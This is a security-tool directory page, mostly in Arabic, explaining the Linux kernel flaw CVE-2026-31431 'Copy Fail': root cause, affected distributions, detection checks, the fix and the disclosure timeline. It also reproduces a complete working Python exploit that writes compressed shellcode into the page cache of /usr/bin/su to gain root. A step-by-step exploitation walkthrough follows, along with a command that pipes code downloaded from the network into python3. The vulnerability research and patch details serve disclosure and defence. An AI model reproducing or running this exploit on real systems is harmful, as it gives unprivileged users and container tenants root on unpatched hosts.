Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31431 — شرح منظم لـ CVE-2026-31431 (Copy Fail)، يربط بين التغييرات الثلاثة في النواة التي أدخلت الثغرة الأمنية ومكّنت من استغلالها. | Kitploit
أدوات/GitHubGitHub/themalwareguardian/cve-2026-31431
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالأوراق والأبحاثالتعلم والتعليمالهروب من الحاويةاستغلال الملفات الثنائية
GitHubthemalwareguardian/cve-2026-31431

CVE-2026-31431

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

شرح منظم لـ CVE-2026-31431 (Copy Fail)، يربط بين التغييرات الثلاثة في النواة التي أدخلت الثغرة الأمنية ومكّنت من استغلالها.

عرض المستودع
25منذ 4 أشهرلم تتم المراجعة بعد

🐞 CVE-2026-31431 - Copy Fail



خلل منطقي في authencesn يُمرَّر عبر AF_ALG وsplice() ليصل إلى كتابة محكومة من 4 بايتات في page cache لأي ملف قابل للقراءة على النظام. لا سباق في التوقيت، ولا إزاحات، ولا حمولة مُترجَمة. السكربت نفسه بحجم 732 بايت يمنح صلاحيات الجذر على كل توزيعات لينكس منذ 2017.




📑 فهرس المحتويات

  • نظرة عامة
  • تحليل السبب الجذري
    📂
    • بدائية AF_ALG + splice()
    • تحسين in-place لعام 2017
    • الكتابة خارج الحدود في authencesn
    • ثلاثة تغييرات غير ضارة → خطأ حرج واحد
    • التنقل عبر scatterlist إلى صفحات page cache

  • التأثير
  • التوزيعات المتأثرة
  • التحقق - هل أنا متأثر؟

  • الاستغلال
  • شرح الاستغلال خطوة بخطوة
    📂
    • الخطوة 1 - إعداد المقبس
    • الخطوة 2 - إنشاء الكتابة
    • الخطوة 3 - تفعيل الكتابة في page cache
    • الخطوة 4 - التنفيذ

  • المقارنة مع Dirty Cow / Dirty Pipe

  • الإصلاح
  • الإفصاح
  • المراجع



🔍 نظرة عامة

CVE-2026-31431 - Copy Fail هو خلل منطقي في قالب التشفير authencesn في نواة لينكس. يسمح لمستخدم محلي غير مميز بإجراء كتابة محكومة من 4 بايتات في page cache لأي ملف قابل للقراءة على النظام، دون تعديل الملف على القرص.

الخلل غير موجود في أي من المكونات الثلاثة على حدة. بل ينشأ من تفاعلها:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.

2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.

2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.

2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.

root@kitploit:~
---
---
---



<div id='root-cause'/>

## ***🧬 تحليل السبب الجذري***

<div id='primitive'/>

### ***أولية AF_ALG + splice()***

AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) هو نوع مقبس (socket) يكشف واجهة برمجة تطبيقات التشفير للنواة إلى مساحة المستخدم غير المميزة. يمكن لعملية غير مميزة أن:

1. افتح مقبس AF_ALG / SOCK_SEQPACKET.
2. استدعِ bind() على أي قالب AEAD متاح توفره واجهة برمجة تطبيقات التشفير للنواة.
3. عيّن مفتاح تشفير عبر setsockopt(SOL_ALG, ALG_SET_KEY, ...) على الخوارزمية المهيأة.
4. استدعِ accept() للحصول على مقبس عمليات مخصص سيتعامل مع طلبات التشفير وفك التشفير
5. أرسل بيانات مصممة باستخدام sendmsg() واستلم النتيجة المعالجة عبر recvmsg()، متفاعلاً بالكامل مع نظام التشفير الفرعي للنواة.

إنه مفعّل افتراضيًا في إعدادات النواة لجميع التوزيعات الرئيسية (CONFIG_CRYPTO_USER_API_AEAD=y).

**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** ينقل البيانات بين واصفات الملفات دون نسخ - يمرر مراجع إلى الصفحات وليس نسخًا. التدفق ذو الصلة:```
open("/usr/bin/su")   ->  fd_file
pipe()                ->  pipe_rd, pipe_wr

# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)

# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
تنزيل الأداة

تحتوي قائمة التشتت الخاصة بمقبس AF_ALG على مراجع مباشرة لنفس الصفحات المادية التي تستخدمها النواة لكل read() وmmap() وexecve() على الملف. لا يتم إجراء أي نسخ.


تحسين in-place لعام 2017

الالتزام 72548b093ee3، algif_aead.c. بالنسبة لفك التشفير، يقوم التنفيذ بما يلي:

  1. ينسخ AAD والنص المشفر من TX SGL (المصدر) إلى المخزن المؤقت RX (الوجهة) - نسخة حقيقية.
  2. يربط صفحات وسم المصادقة في سلسلة عبر sg_chain()، مع الإبقاء على مراجع ذاكرة التخزين المؤقت للصفحات في RX SGL.
  3. يضبط req->src = req->dst، وكلاهما يشير إلى RX SGL المدمج.``` TX SGL (input from splice): [ page cache page: AAD || CT || Tag ]

In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL

Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.

root@kitploit:~
<div id='authencesn'/>

### ***الكتابة خارج الحدود في authencesn***

authencesn هو غلاف AEAD في النواة يُستخدم بواسطة IPsec مع أرقام التسلسل الموسعة (RFC 4303). يستخدم IPsec أرقام تسلسل 64-بت:

- seqno_hi - البتات الـ 32 العلوية (البايتات 0-3 من AAD)
- seqno_lo - البتات الـ 32 السفلية (البايتات 4-7 من AAD)

يتم إرسال seqno_lo فقط عبر الشبكة؛ أما seqno_hi فهو سياق ضمني. لحساب HMAC، يحتاج authencesn إلى إعادة ترتيب هذه البايتات: seqno_hi في البداية وseqno_lo في نهاية مدخلات التجزئة.

يقوم بهذه إعادة الترتيب باستخدام scatterlist الوجهة الخاصة بالمستدعي كمساحة عمل مؤقتة:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */

// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);

// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);

// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);

Call [3] writes 4 bytes at dst[assoclen + cryptlen]. The AEAD API output contract for decryption is AAD || plaintext - exactly assoclen + (cryptlen - authsize) bytes. assoclen + cryptlen lies beyond the authentication tag. authencesn writes into memory it does not own.

crypto_authenc_esn_decrypt_tail() reads seqno_lo back to reconstruct the correct AAD, but never restores the original bytes at dst[assoclen + cryptlen]. The overwrite is permanent, regardless of whether the HMAC check succeeds or fails.

No other standard AEAD algorithm in the kernel behaves this way. GCM, CCM, and standard authenc strictly confine their writes to the legitimate output region.


ثلاثة تغييرات غير ضارة ← خطأ حرج واحد

In the post-2017 in-place path of algif_aead, the scatterlist passed as req->dst to authencesn has the following structure:``` req->dst: [ RX buffer (user memory) ] [ Tag region (page cache pages) ] [ AAD (copy) || CT (copy) ] [ from /usr/bin/su ] [<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->] ^ authencesn writes here: dst[assoclen + cryptlen] = seqno_lo (4 bytes controlled by the attacker)

root@kitploit:~
لا يملك scatterwalk_map_and_copy أي مفهوم لملكية الصفحة، فهو ببساطة يخطّط أي صفحة يشير إليها scatterlist عبر kmap_local_page ويكتب فيها. ومع وجود صفحات page cache في req->dst، ينتهي به الأمر إلى تخطيط الصفحة المخزنة مؤقتًا للملف "/usr/bin/su" وكتابة seqno_lo مباشرةً في النسخة الموجودة في ذاكرة النواة من الملف.

يُحسب HMAC على البايتات المعاد ترتيبها ويفشل (النص المشفَّر تحت سيطرة المهاجم). تُرجع recvmsg() خطأً. تظل الكتابة ذات الأربعة بايتات في page cache باقية.

---

<div id='scatterlist'/>

### ***اجتياز scatterlist إلى صفحات page cache***```c
struct scatterlist {
	unsigned long   page_link;   // physical page + flags (SG_END, SG_CHAIN)
	unsigned int    offset;      // offset within the page
	unsigned int    length;      // bytes in this entry
};

// sg_chain(sgl_a, nents_a, sgl_b):
//   sgl_a[nents_a-1].page_link |= SG_CHAIN;
//   sgl_a[nents_a-1].page_link  = (unsigned long)sgl_b;
//   the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:

entry[0]: page=user_buf_page, offset=0,        length=assoclen      (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4    (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
                        |
                        v
                    page = page_cache_page_of_/usr/bin/su
                    offset = <tag offset within the file>
                    length = authsize (= 4)

scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4)  <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)

The page is never marked dirty (SetPageDirty / mark_page_accessed are not invoked in this path). The kernel writeback mechanism does not flush it to disk. The file on disk remains unchanged.




💥 التأثير

تُحوَّل بدائية الكتابة المُتحكَّم بها (4 بايت) داخل page cache إلى تصعيد صلاحيات محلي كامل (LPE):

  • يتحكم المهاجم في أي ملف (أي ملف قابل للقراءة، بما في ذلك ثنائيات setuid).
  • يتحكم المهاجم في أي إزاحة داخل الملف (عبر assoclen، وإزاحة splice، وطول splice).
  • يتحكم المهاجم في القيمة (البايتات الأربع هي seqno_lo، يتم صياغتها بواسطة المهاجم في sendmsg()).

من خلال تكرار الكتابة 4 بايت في كل مرة، يمكن للمهاجم حقن شيلكود في قسم .text لثنائي setuid داخل page cache. يقوم execve() بالتحميل من page cache، لذا يتم تنفيذ الثنائي الم corrupted بصلاحيات UID 0.

إن page cache مشترك عبر المضيف بالكامل، بما في ذلك جميع الحاويات. Copy Fail ليس مجرد LPE محلي، بل هو بدائية للهروب من الحاويات وناقل لاختراق عقد Kubernetes.

البيئةالخطرالنتيجة
مضيفات Linux متعددة المستأجرينحرجأي مستخدم → root
Kubernetes / الحاوياتحرجPod → المضيف، عبر المستأجرين
مشغّلات CI (طلبات سحب غير موثوقة)حرجPR → صلاحية root على المشغّل
SaaS سحابي ينفّذ كود المستخدمحرجمستأجر → صلاحية root على المضيف
خوادم أحادية المستأجرمرتفعLPE داخلي؛ يُدمج مع RCE عبر الويب
محطات عمل لمستخدم واحدمتوسطتصعيد صلاحيات بعد الاستغلال

🎯 التوزيعات المتأثرة

أي نظام Linux يعمل بنواة مُبنية بين 2017 ووقت التصحيح، مع تفعيل AF_ALG في الإعداد الافتراضي، وهو ما يشمل فعليًا جميع التوزيعات الرئيسية.

تم التحقق منه مباشرة بواسطة Theori / Xint:

التوزيعةالنواة
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

التوزيعات الأخرى التي تعمل بنواة متأثرة (Debian، وArch، وFedora، وRocky، وAlma، وOracle، والأجهزة المدمجة) تتصرف بنفس الطريقة؛ فالخلل يكمن في النظام الفرعي المشترك للتشفير، وليس في أي تصحيح خاص بتوزيعة معينة.

متطلبات الاستغلال:

  • حساب مستخدم محلي غير مميز.
  • توفر AF_ALG (مفعّل افتراضيًا في جميع التوزيعات الرئيسية).
  • توفر splice(2) (متوفر عالميًا).
  • Python 3.10+ لاستخدام os.splice، أو الوصول إلى استدعاءات النظام الخام من أي لغة.
  • لا حاجة لميزات تصحيح أخطاء النواة، ولا قدرات خاصة، ولا بدائيات موجودة مسبقًا.

🔎 التحقق - هل أنا متأثر؟

1. تحقق من إصدار النواة```bash

uname -r

root@kitploit:~
إذا تم بناء النواة بين عام 2017 والتصحيح (commit a664bf3d603d)، فقد يكون النظام متأثرًا. تحقق من وجود التصحيح:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image

# RHEL / Fedora / Amazon Linux
rpm -q kernel

# SUSE
zypper se -s kernel-default

2. تحقق من توفر AF_ALG```bash

python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "

root@kitploit:~
### ***3. تحقق مما إذا كان algif_aead محملاً***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"

4. سكربت التحقق من سطح الهجوم

يتحقق السكربت التالي من إمكانية الوصول إلى المسار القابل للاستغلال. وهو لا ينفّذ أي عمليات كتابة، بل يتحقق فقط من توفر سطح الهجوم:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys

def check_surface(): results = {}

root@kitploit:~
# 1. Check if AF_ALG socket is available
try:
	# AF_ALG, SOCK_SEQPACKET
	s = socket.socket(38, 5, 0)
	results['af_alg_socket'] = True
	# 2. Try binding to authencesn (the vulnerable algorithm)
	try:
		s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
		results['authencesn_available'] = True
	except OSError as e:
		results['authencesn_available'] = False
		results['authencesn_error'] = str(e)
	s.close()
except OSError as e:
	results['af_alg_socket'] = False
	results['af_alg_error'] = str(e)

# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')

print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
	marker = '[+]' if v is True else '[-]' if v is False else '[i]'
	print(f"  {marker} {k}: {v}")

if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
	print("\n  [!] SURFACE AVAILABLE - system exposes the full attack surface.")
	print("      Verify whether the kernel includes patch a664bf3d603d.")
else:
	print("\n  [OK] Surface mitigated or not available.")

if name == "main": check_surface()

root@kitploit:~
---

<div id='exploit'/>

## ***💣 استغلال***

تم إصدار هذا الاستغلال في الأصل بواسطة Theori / Xint Code بالتزامن مع الإفصاح العلني في 29 أبريل 2026.

- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **المستودع الرسمي:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **المتطلبات:** Python 3.10+، نواة متأثرة، AF_ALG مفعّلة.

---```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.

import os as g, zlib, socket as s

def d(x):
	return bytes.fromhex(x)

def c(f, t, c):
	# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
	a = s.socket(38, 5, 0)                             # AF_ALG, SOCK_SEQPACKET
	a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
	h = 279                                            # SOL_ALG
	v = a.setsockopt
	v(h, 1, d('0800010000000010' + '0' * 64))          # ALG_SET_KEY
	v(h, 5, None, 4)                                   # ALG_SET_AUTHSIZE = 4
	u, _ = a.accept()
	o = t + 4
	i = d('00')

	# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
	# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
	u.sendmsg(
		[b"A" * 4 + c],                      # AAD: seqno_hi=0x41414141, seqno_lo=payload
		[
			(h, 3, i * 4),                   # ALG_SET_IV
			(h, 2, b'\x10' + i * 19),        # ALG_SET_OP=DECRYPT + params
			(h, 4, b'\x08' + i * 3),         # ALG_SET_AEAD_AUTHSIZE
		],
		32768                                # MSG_SENDPAGE_NOTLAST
	)

	# splice: delivers page cache pages from the target file into the AF_ALG socket
	# The TX SGL of the socket will point directly to page cache pages
	r, w = g.pipe()
	n = g.splice
	n(f, w, o, offset_src=0)   # file -> pipe (reference to page cache page)
	n(r, u.fileno(), o)        # pipe -> AF_ALG socket (TX SGL points to page cache)

	# recv: triggers decrypt in the kernel
	# authencesn performs the scratch write -> 4 bytes written into the page cache
	# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
	try:
		u.recv(8 + t)
	except:
		0

# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)

# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
	"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
	"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
	"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))

# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
	c(f, i, e[i:i+4])
	i += 4

# Execute the patched binary in memory - runs as UID 0
g.system("su")

التنفيذ```bash

Direct download and execution (Theori method)

curl https://copy.fail/exp | python3

Local execution

python3 copy_fail_exp.py

With an alternative target binary (any readable setuid-root binary)

python3 copy_fail_exp.py /usr/bin/passwd

Verify result

id

uid=0(root) gid=1002(user) groups=1002(user)

root@kitploit:~
---
---
---



<div id='walkthrough'/>

## ***🔬 شرح استغلال الثغرة***

<div id='step1'/>

### ***الخطوة 1 - إعداد Socket***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))

قالب authencesn هو المُختار - خوارزمية AEAD الوحيدة في kernel التي تكتب خارج منطقة الإخراج الشرعية الخاصة بها. هذا الاختيار مقصود: GCM وCCM وauthenc القياسي لا تُطلق الخلل.```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket

root@kitploit:~
ALG_SET_AUTHSIZE = 4 يضبط حجم وسم المصادقة. تتحكم هذه القيمة مباشرةً في المكان الذي يصل إليه `dst[assoclen + cryptlen]` بالنسبة إلى منطقة الوسم في scatterlist، وبالتالي في أي إزاحة داخل صفحة page cache يتم استبدالها.

<div id='step2'/>

### ***الخطوة 2 - إنشاء عملية الكتابة***

لكل جزء من الحمولة بحجم 4 بايتات:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes

u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)

البايتات 4-7 من AAD (seqno_lo) هي بالضبط البايتات الأربعة التي يكتبها authencesn في dst[assoclen + cryptlen]. يقوم المهاجم بتشكيلها بقيمة الحمولة المطلوبة.

يتم التحكم في إزاحة الملف عبر معاملات splice:```python

t = target offset within the file

o = t + 4 = splice length (ensures the tag region lands at the correct offset)

o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)

root@kitploit:~
<div id='step3'/>

### ***الخطوة 3 - تشغيل كتابة ذاكرة التخزين المؤقت للصفحات***```python
try:
	u.recv(8 + t)
except:
	pass   # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.

استدعاء recv() يطلق عملية فك التشفير داخل النواة. خطأ recvmsg() متوقع وغير ذي صلة. لقد تمت كتابة ذاكرة التخزين المؤقت للصفحات بالفعل.

الخطوة 4 - التنفيذ

بعد التكرار على جميع أجزاء الحمولة:``` os.system("su")

root@kitploit:~
execve("/usr/bin/su"):

1. يقوم النواة بتحميل الثنائي من ذاكرة التخزين المؤقت للصفحات.
2. تحتوي الصفحة المخزنة مؤقتًا على الـ shellcode المحقون (الملف على القرص لم يتغير).
3. /usr/bin/su هو setuid-root: تبدأ العملية بمعرف مستخدم فعّال (UID) يساوي 0.
4. يقوم الـ shellcode بتشغيل شل بصلاحيات الجذر (root).```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)



⚖️ المقارنة مع Dirty Cow / Dirty Pipe

تنتمي الثلاثة جميعًا إلى نفس فئة الهجوم: الكتابة في ذاكرة التخزين المؤقت للصفحات من فضاء المستخدم غير المميز، دون تعديل الملف على القرص، للحصول على امتيازات عبر ثنائي setuid. تختلف آلياتها وقيودها اختلافًا كبيرًا.

  • CVE-2016-5195 - Dirty Cow

    حالة سباق في مسار النسخ عند الكتابة (COW) في النظام الفرعي للذاكرة الافتراضية (VM). تطلّب الفوز بنافذة TOCTOU، ومحاولات متعددة، وموثوقية متغيرة، وانهيارات عرضية. النوى من 2.6.22 إلى 4.8.3.

  • CVE-2022-0847 - Dirty Pipe

    استغلال علم PIPE_BUF_FLAG_CAN_MERGE في مخازن الأنابيب لدمج بيانات يتحكم فيها المهاجم في ذاكرة التخزين المؤقت للصفحات. حتمي، لكنه خاص بإصدارات محددة (نواة ≥ 5.8 مع تصحيحات معيّنة).

  • CVE-2026-31431 - Copy Fail

    ثغرة منطقية خطية بلا تفرعات. لا حالة سباق، ولا إزاحات خاصة بالتوزيعات، ولا حمولة مُجمّعة. سكربت Python بحجم 732 بايت يستخدم المكتبة القياسية فقط يحصل على صلاحيات الجذر عبر جميع التوزيعات الرئيسية من 2017 إلى 2026.

  • Dirty CowDirty PipeCopy Fail
    الآليةحالة سباق (COW)استغلال علم الأنابيبمنطق AEAD + scatterlist
    يتطلب حالة سباقنعملالا
    الموثوقية30-80%عالية100%، من محاولة واحدة
    نطاق النواة2.6.22-4.8.3≥5.8 (محددة)2017-2026 (~9 سنوات)
    إزاحات خاصة بالتوزيعاتنعمبعضلا
    حمولة مُجمّعةنعملالا
    الهروب من الحاويةلالانعم



    🩹 الإصلاح

    يُصلح الالتزام الرئيسي a664bf3d603d الالتزامَ 72548b093ee3 (تحسين عام 2017 الموضعي)

    يُعيد التصحيح ملف algif_aead.c إلى العمل خارج المكان (out-of-place). يصبح req->src و req->dst قائمتي scatterlist منفصلتين مرة أخرى. تبقى صفحات ذاكرة التخزين المؤقت للصفحات التي تم تسليمها عبر splice() في قائمة SGL الخاصة بالإرسال TX للقراءة فقط (req->src). أما مخزن RX - الذاكرة الوحيدة التي يُسمح لخوارزمية التشفير بالكتابة فيها - فهو مخزن recvmsg الخاص بالمستخدم (req->dst). تتم إزالة آلية sg_chain() التي كانت تربط في السابق صفحات العلامة (ذاكرة التخزين المؤقت للصفحات) بالوجهة القابلة للكتابة.```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);

    /* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);

    root@kitploit:~
    تذكر رسالة الالتزام: «لا فائدة من العمل في الموقع نفسه (in-place) في algif_aead نظرًا لأن المصدر والوجهة يأتيان من تعيينات مختلفة.»
    
    
    
    ---
    ---
    ---
    
    
    
    <div id='timeline'/>
    
    ## ***📅 الجدول الزمني للإفصاح***
    
    | Date       | Event                                                    |
    |------------|----------------------------------------------------------|
    | 2026-03-23 | تم الإبلاغ عن الثغرة إلى فريق أمان نواة لينكس            |
    | 2026-03-24 | تم استلام الإقرار الأولي                                  |
    | 2026-03-25 | تم اقتراح التصحيحات ومراجعتها                            |
    | 2026-04-01 | تم دمج التصحيح في الخط الرئيسي (mainline) (a664bf3d603d) |
    | 2026-04-22 | تم تعيين CVE-2026-31431                                   |
    | 2026-04-29 | الإفصاح العام، [copy.fail](https://copy.fail/)            |
    
    **اكتشفها:** Taeyang Lee في [Theori](https://theori.io/) / [Xint Code](https://xint.io/)
    
    
    
    ---
    ---
    ---
    
    
    
    <div id='references'/>
    
    ## ***📚 المراجع***
    
    - **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
    	> إدخال في قاعدة بيانات الثغرات الوطنية.
    
    - **[Copy Fail - الإفصاح الرسمي](https://copy.fail/)**
    	> صفحة هبوط تتضمن الأسئلة الشائعة (FAQ)، والتوزيعات المتأثرة، والتخفيف، وإثبات المفهوم (PoC).
    
    - **[Theori / Xint Blog - الشرح الكامل](https://xint.io/blog/copy-fail-linux-distributions)**
    	> السبب الجذري، ومخططات scatterlist، والسلسلة التاريخية (2011→2015→2017)، وشرح مفصّل للاستغلال.
    
    - **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
    	> المستودع الرسمي الذي يحتوي على إثبات المفهوم (PoC).
    
    - **[Commit a664bf3d603d - الإصلاح](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
    	> يتراجع عن تحسين العمل في الموقع نفسه (in-place) في algif_aead.
    
    - **[Commit 72548b093ee3 - السبب الجذري (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
    	> يقدّم تحسين العمل في الموقع نفسه الذي وضع صفحات ذاكرة التخزين المؤقت للصفحات (page cache) في الوجهة القابلة للكتابة.
    
    - **[Commit a5079d084f8b - تقديم authencesn (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
    	> الالتزام الأصلي الذي أضاف authencesn، وأسّس نمط الكتابة المؤقتة (scratch write).
    
    - **[Commit 104880a6b470 - ترحيل authencesn إلى AEAD API (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
    	> يقدّم إزاحة assoclen + cryptlen التي تكتب خارج المنطقة المشروعة.
    
    - **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
    	> أعمال سابقة في فئة إفساد ذاكرة التخزين المؤقت للصفحات / تصعيد الامتيازات المحلي (LPE).